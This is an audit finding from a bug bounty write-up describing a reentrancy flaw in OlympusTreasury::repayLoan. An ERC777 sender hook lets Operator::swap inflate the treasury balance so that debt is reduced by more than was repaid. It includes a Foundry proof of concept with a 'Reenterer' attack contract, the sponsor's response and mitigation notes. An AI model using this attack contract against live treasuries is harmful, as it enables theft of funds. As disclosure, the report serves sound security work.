TRSRY: reenter from OlympusTreasury::repayLoan to Operator::swap
The treasury's repayLoan function measures the amount received by comparing token balances before and after a transfer, so a token with a sender hook can reenter and call Operator::swap to inflate the treasury's balance. An attacker with debt in such a token could repay less than the recorded debt reduction, effectively stealing the difference.
Submitted by zzzitron
One can repay loan to the treasury with the value from the Operator::swap.
Condition:
- the reserve token in Operator has hook for sender (like ERC777)
- the debt is the same token as reserve
Proof of Concept
The below code snippet shows a part of proof of concept for reentrancy attack, which is based on src/test/policies/Operator.t.sol. The full test code can be found here, and git diff from the Operator.t.sol.
Let’s say that the reserve token implements ERC777 with the hook for the sender (see weird erc20). If the attacker can take debt of the reserve currency for the attack contract Reenterer, the contract can call OlympusTreasury::repayLoan and in the middle of repay call Operator::swap function. The swap function will modify the reserve token balance of treasury and the amount the attacker swapped will be also be used for the repayLoan.
In the below example, the attacker has debt of 1e18, and repays 1e17. But since the swap function is called in the repayLoan, the debt is reduced 1e17 more then it should. And the swap happened as expected so the attack has the corresponding ohm token.
/// Mock to simulate the senders hook
/// for simplicity omitted the certain aspects like ERC1820 registry and etc.
contract MockERC777 is MockERC20 {
constructor () MockERC20("ERC777", "777", 18) {}
function transferFrom(address from, address to, uint256 amount) public override returns (bool) {
_callTokenToSend(from, to, amount);
return super.transferFrom(from, to, amount);
// _callTokenReceived(from, to, amount);
}
// simplified implementation for ERC777
function _callTokenToSend(address from, address to, uint256 amount) private {
if (from != address(0)) {
IERC777Sender(from).tokensToSend(from, to, amount);
}
}
}
interface IERC777Sender {
function tokensToSend(address from, address to, uint256 amount) external;
}
/// Concept for an attack contract
contract Reenterer is IERC777Sender {
ERC20 public token;
Operator public operator;
bool public entered;
constructor(address token_, Operator op_) {
token = ERC20(token_);
operator = op_;
}
function tokensToSend(address from, address to, uint256 amount) external override {
if (!entered) {
// call swap from reenter
// which will manipulate the balance of treasury
entered = true;
operator.swap(token, 1e17, 0);
}
}
function attack(OlympusTreasury treasury) public {
// approve to the treasury
token.approve(address(treasury), 1e18);
token.approve(address(operator), 100* 1e18);
// repayDebt of 1e17
treasury.repayLoan(token, 1e17);
}
}
/// the test
function test_poc__reenter() public {
vm.prank(guardian);
operator.initialize();
reserve.mint(address(reenterer), 1e18);
assertEq(treasury.reserveDebt(reserve, address(reenterer)), 1e18);
// start repayLoan
reenterer.attack(treasury);
// it should be 9 * 1e17 but it is 8 * 1e17
assertEq(treasury.reserveDebt(reserve, address(reenterer)), 8*1e17);
}
Cause
The repayLoan, in the line 110 below, calls the safeTransferFrom. The balance before and after are compared to determine how much of debt is paid. So, if the safeTranferFrom can modify the balance, the attacker can profit from it.
// OlympusTreasury::repayLoan
105 function repayLoan(ERC20 token_, uint256 amount_) external nonReentrant {
106 if (reserveDebt[token_][msg.sender] == 0) revert TRSRY_NoDebtOutstanding();
107
108 // Deposit from caller first (to handle nonstandard token transfers)
109 uint256 prevBalance = token_.balanceOf(address(this));
110 token_.safeTransferFrom(msg.sender, address(this), amount_);
111
112 uint256 received = token_.balanceOf(address(this)) - prevBalance;
In the swap function, if the amount in token is reserve, the payment token to buy ohm will be paid to the treasury. It gives to an opportunity to modify the balance.
// Operator::swap
329 /// Transfer reserves to treasury
330 reserve.safeTransferFrom(msg.sender, address(TRSRY), amountIn_);
Although both of Operator::swap and OlympusTreasury::repayLoan have nonReentrant modifier, it does not prevent as they are two different contracts.
Tools Used
Foundry
Recommended Mitigation Steps
The deposit logic in the OlympusTreasury::repayLoan was trying to handle nonstandard tokens, such as fee-on-transfer. But by doing so introduced an attack vector for tokens with ERC777. If the reserve token should be decided in the governance, it should be clarified, which token standards can be used safely.
ind-igo (Olympus) confirmed and commented:
Good report, although very low risk as the preconditions are extremely unlikely. Will take into account the suggestion by adding a comment to the function. Thank you.
I would probably downgrade to QA, but the warden does a good job of proving the point out with examples. Will leave as Medium.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the repayLoan function determines the amount received by comparing the treasury's token balance before and after a transfer, allowing a reentrant call to modify that balance.
What the attacker needed
Reserve token has a sender hook (e.g. ERC777); attacker holds debt in that reserve token
The fix
The report suggests clarifying which token standards are safe and adding a comment, but does not provide a code fix.
How it was found
- Attacker obtains debt in a reserve token that implements a sender hook (like ERC777).
- Attacker calls repayLoan on the treasury with a small amount.
- During the token transfer, the sender hook triggers and the attacker's contract calls Operator::swap.
- The swap transfers reserve tokens to the treasury, increasing its balance.
- The treasury calculates the received amount using the inflated balance, reducing the debt by more than the actual repayment.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A smart contract can call back into another contract during a token transfer if the token has a hook. Here, the treasury trusted the balance change during a loan repayment, so the attacker used that callback to make a swap that added tokens to the treasury, tricking it into thinking more debt was repaid than actually was.
What is Race condition?
Parallel requests reach a state the code assumed could not happen: a coupon used twice, a limit overrun, a check skipped.